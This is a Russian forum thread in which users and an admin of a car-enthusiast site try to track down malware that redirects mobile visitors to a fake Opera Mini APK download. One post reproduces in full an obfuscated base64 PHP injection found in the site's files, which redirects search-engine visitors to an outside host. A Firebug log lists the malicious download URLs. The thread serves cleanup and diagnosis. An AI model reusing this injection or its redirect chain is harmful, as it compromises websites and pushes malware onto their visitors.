Вирусы на Автосаратове?

[Andrey_Playboy]

. Подскажите плз, на какой именно странице появляется нечисть?

у меня в Встречи одноклубников) и через 1 раз походу какой то баннер так дает...

 

[Andrey 2109]

Пару дырок нашел, залатал. Но еще не всё. Подскажите плз, на какой именно странице появляется нечисть?

А я сегодня опять не могу с андройда на форум зайти. Предлагает скачать папку и переходит на страницу типа оперы.

 

[Demon™]

Пару дырок нашел, залатал. Но еще не всё. Подскажите плз, на какой именно странице появляется нечисть?

Начиная с /phorum/...
/phorum/forumdisplay.php
/phorum/search.php
/phorum/blog.php
/phorum/member.php
и т.д.

 

[Demon™]

В файрфоксе, в about:config создать строковый параметр general.useragent.override с содержимым Mozilla/5.0 (Linux; U; Android 1.0; en-us; dream) AppleWebKit/525.10+ (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2 и попробовать пошастать по форуму.

 

[Yujen]

В файрфоксе, в about:config создать строковый параметр general.useragent.override с содержимым Mozilla/5.0 (Linux; U; Android 1.0; en-us; dream) AppleWebKit/525.10+ (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2 и попробовать пошастать по форуму.

с этой сторокой:


в тоже время, др.вэб:

 

[admin]

Сичас, почти всё почистил.

 

[Yujen]

Сичас, почти всё почистил.

не заметно!!!

Андрей, как правило, такая фигня прописывается сразу за "<?" или "<?php"
в зашифрованном виде...
ты чистый форум выложи, но в атрибутах всех файлов(*.php) оставь только возможность чтения/
на днях похожую хрень лечил, вставки с вредоносным кодом шли от хостера

 

[Айсманофф]

гадость(((

 

[Yujen]

не заметно!!!
Посмотреть вложение 227465Посмотреть вложение 227466
Андрей, как правило, такая фигня прописывается сразу за "<?" или "<?php"
в зашифрованном виде...
ты чистый форум выложи, но в атрибутах всех файлов(*.php) оставь только возможность чтения/
на днях похожую хрень лечил, вставки с вредоносным кодом шли от хостера

еле нашел, вот:

<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3Ry
aXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));

вот такая бяка попадала во все php файлы, пока не установил права записи только владельцу.

 

[admin]

Сейчас отпустило?

Нас немного поломали. Почти всю гадость вычистил, осталось подмести мусор и заделать щели.

Андрей, как правило, такая фигня прописывается сразу за "<?" или "<?php"

Тут немного другое, воспользовались дырой в движке форума и установили на него вредные плагины. Если в двух словах.

 

[Demon™]

Напомню.

Вирус каким-то макаром использует /phorum/clientscript/yui/yuiloader-dom-event/yuiloader-dom-event.js:
Заблокировал этот урл - редиректить перестало.

Если юзерагент стоит Desktop - этот скрипт не вызывается.

 

[Demon™]

Сейчас отпустило?

Нас немного поломали. Почти всю гадость вычистил, осталось подмести мусор и заделать щели.

Не отпустило

 

[Yujen]

Тут немного другое, воспользовались дырой в движке форума и установили на него вредные плагины. Если в двух словах.

http://www.autosaratov.ru/phorum/clientscript/yui/yuiloader-dom-event/yuiloader-dom-event.js?v=4112

 if(typeof YAHOO=="undefined"||!YAHOO){var YAHOO={};}YAHOO.namespace=function(){var b=arguments,g=null,e,c,f;for(e=0;e<b.length;e=e+1){f=(""+b[e]).split(".");g=YAHOO;for(c=(f[0]=="YAHOO")?1:0;c<f.length;c=c+1){g[f[c]]=g[f[c]]||{};g=g[f[c]];}}return g;};YAHOO.log=function(d,a,c){var b=YAHOO.widget.Logger;if(b&&b.log){return b.log(d,a,c);}else{return false;}};YAHOO.register=function(a,f,e){var k=YAHOO.env.modules,c,j,h,g,d;if(!k[a]){k[a]={versions:[],builds:[]};}c=k[a];j=e.version;h=e.build;g=YAHOO.env.listeners;c.name=a;c.version=j;c.build=h;c.versions.push(j);c.builds.push(h);c.mainClass=f;for(d=0;d<g.length;d=d+1){g[d]©;}if(f){f.VERSION=j;f.BUILD=h;}else{YAHOO.log("mainClass is undefined for module "+a,"warn");}};YAHOO.env=YAHOO.env||{modules:[],listeners:[]};YAHOO.env.getVersion=function(a){return YAHOO.env.modules[a]||null;};YAHOO.env.parseUA=function(d){var e=function(i){var j=0;return parseFloat(i.replace(/\./g,function(){return(j++==1)?"":".";}));},h=navigator,g={ie:0,opera:0,gecko:0,webkit:0,chrome:0,mobile:null,air:0,ipad:0,iphone:0,ipod:0,ios:null,android:0,webos:0,caja:h&&h.cajaVersion,secure:false,os:null},c=d||(navigator&&navigator.userAgent),f=window&&window.location,b=f&&f.href,a;g.secure=b&&(b.toLowerCase().indexOf("https")===0);if©{if((/windows|win32/i).test©){g.os="windows";}else{if((/macintosh/i).test©){g.os="macintosh";}else{if((/rhino/i).test©){g.os="rhino";}}}if((/KHTML/).test©){g.webkit=1;}a=c.match(/AppleWebKit\/([^\s]*)/);if(a&&a[1]){g.webkit=e(a[1]);if(/ Mobile\//.test©){g.mobile="Apple";a=c.match(/OS ([^\s]*)/);if(a&&a[1]){a=e(a[1].replace("_","."));}g.ios=a;g.ipad=g.ipod=g.iphone=0;a=c.match(/iPad|iPod|iPhone/);if(a&&a[0]){g[a[0].toLowerCase()]=g.ios;}}else{a=c.match(/NokiaN[^\/]*|Android \d\.\d|webOS\/\d\.\d/);if(a){g.mobile=a[0];}if(/webOS/.test©){g.mobile="WebOS";a=c.match(/webOS\/([^\s]*);/);if(a&&a[1]){g.webos=e(a[1]);}}if(/ Android/.test©){g.mobile="Android";a=c.match(/Android ([^\s]*);/);if(a&&a[1]){g.android=e(a[1]);}}}a=c.match(/Chrome\/([^\s]*)/);if(a&&a[1]){g.chrome=e(a[1]);}else{a=c.match(/AdobeAIR\/([^\s]*)/);if(a){g.air=a[0];}}}if(!g.webkit){a=c.match(/Opera[\s\/]([^\s]*)/);if(a&&a[1]){g.opera=e(a[1]);a=c.match(/Version\/([^\s]*)/);if(a&&a[1]){g.opera=e(a[1]);}a=c.match(/Opera Mini[^;]*/);if(a){g.mobile=a[0];}}else{a=c.match(/MSIE\s([^;]*)/);if(a&&a[1]){g.ie=e(a[1]);}else{a=c.match(/Gecko\/([^\s]*)/);if(a){g.gecko=1;a=c.match(/rv:([^\s\)]*)/);if(a&&a[1]){g.gecko=e(a[1]);}}}}}}return g;};YAHOO.env.ua=YAHOO.env.parseUA();(function(){YAHOO.namespace("util","widget","example");if("undefined"!==typeof YAHOO_config){var b=YAHOO_config.listener,a=YAHOO.env.listeners,d=true,c;if(b){for(c=0;c<a.length;c++){if(a[c]==b){d=false;break;}}if(d){a.push(b);}}}})();YAHOO.lang=YAHOO.lang||{};(function(){var f=YAHOO.lang,a=Object.prototype,c="[object Array]",h="[object Function]",i="[object Object]",b=[],g={"&":"&","<":"<",">":">",'"':""","'":"'","/":"/","`":"`"},d=["toString","valueOf"],e={isArray:function(j){return a.toString.apply(j)===c;},isBoolean:function(j){return typeof j==="boolean";},isFunction:function(j){return(typeof j==="function")||a.toString.apply(j)===h;},isNull:function(j){return j===null;},isNumber:function(j){return typeof j==="number"&&isFinite(j);},isObject:function(j){return(j&&(typeof j==="object"||f.isFunction(j)))||false;},isString:function(j){return typeof j==="string";},isUndefined:function(j){return typeof j==="undefined";},_IEEnumFix:(YAHOO.env.ua.ie)?function(l,k){var j,n,m;for(j=0;j<d.length;j=j+1){n=d[j];m=k[n];if(f.isFunction(m)&&m!=a[n]){l[n]=m;}}}:function(){},escapeHTML:function(j){return j.replace(/[&<>"'\/`]/g,function(k){return g[k];});},extend:function(m,n,l){if(!n||!m){throw new Error("extend failed, please check that "+"all dependencies are included.");}var k=function(){},j;k.prototype=n.prototype;m.prototype=new k();m.prototype.constructor=m;m.superclass=n.prototype;if(n.prototype.constructor==a.constructor){n.prototype.constructor=n;}if(l){for(j in l){if(f.hasOwnProperty(l,j)){m.prototype[j]=l[j];}}f._IEEnumFix(m.prototype,l);}},augmentObject:function(n,m){if(!m||!n){throw new Error("Absorb failed, verify dependencies.");}var j=arguments,l,o,k=j[2];if(k&&k!==true){for(l=2;l<j.length;l=l+1){n[j[l]]=m[j[l]];}}else{for(o in m){if(k||!(o in n)){n[o]=m[o];}}

мало похож на нормальный **********

 

[Demon™]

Проверил ещё раз - yuiloader-dom-event.js уже не используется, но вирь всё так же грузится.

 

[Yujen]

Проверил ещё раз - yuiloader-dom-event.js уже не используется, но вирь всё так же грузится.

заблокируй _http://www.autosaratov.ru/phorum/clientscript/yui/connection/connection-min.jsу меня стал нормально открываться

 

[Demon™]

заблокируй _http://www.autosaratov.ru/phorum/clientscript/yui/connection/connection-min.jsу меня стал нормально открываться

Не помогает. Зато помогает блокировка _http://www.autosaratov.ru/phorum/clientscript/yui/yuiloader-dom-event/yuiloader-dom-event.js
Всё-таки каким-то образом он используется, хотя в вебконсоли обращений к нему не видно...

 

[Yujen]

Не помогает. Зато помогает блокировка _http://www.autosaratov.ru/phorum/clientscript/yui/yuiloader-dom-event/yuiloader-dom-event.jsВсё-таки каким-то образом он используется, хотя в вебконсоли обращений к нему не видно...

ты его как блокировал, с "?v=4112"?

 

[Demon™]

Без. Этот скрипт выцепил вчера из вебконсоли. Сейчас он там не фигурирует, как и connection-min.js. Хотя, если его внести в блок, блокировщик исправно сообщает, что заблокировал обращение.

 

[Demon™]

О, в FireBug их видно. Редирект происходит сразу после обращения к ним

GET yuiloader-dom-event.js?v=4112
200 OK
autosaratov.ru
GET connection-min.js?v=4112
autosaratov.ru
GET got.php?sid=7
luke-i-am-your-father.ru
GET opera_mini.auto
maeu.net
GET opera_mini.apk
maeu.net

 

[admin]

Demon™, в каком браузере грузится вирус?